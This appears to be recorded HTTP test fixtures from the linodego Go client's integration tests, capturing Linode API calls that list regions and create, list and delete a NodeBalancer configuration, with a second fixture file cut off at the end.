headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerConfigs_ListMultiplePages.yaml000066400000000000000000000727121474652371000355570ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640290}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767871, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-205.ip.linodeusercontent.com", "ipv4": "172.232.87.205", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767871/configs method: POST response: body: '{"id": 1266909, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767871, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767871/configs?page=1 method: GET response: body: '{"data": [{"id": 1266909, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767871, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "487" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767871/configs/1266909 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767871 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:41:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerFirewalls_List.yaml000066400000000000000000000642151474652371000335010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 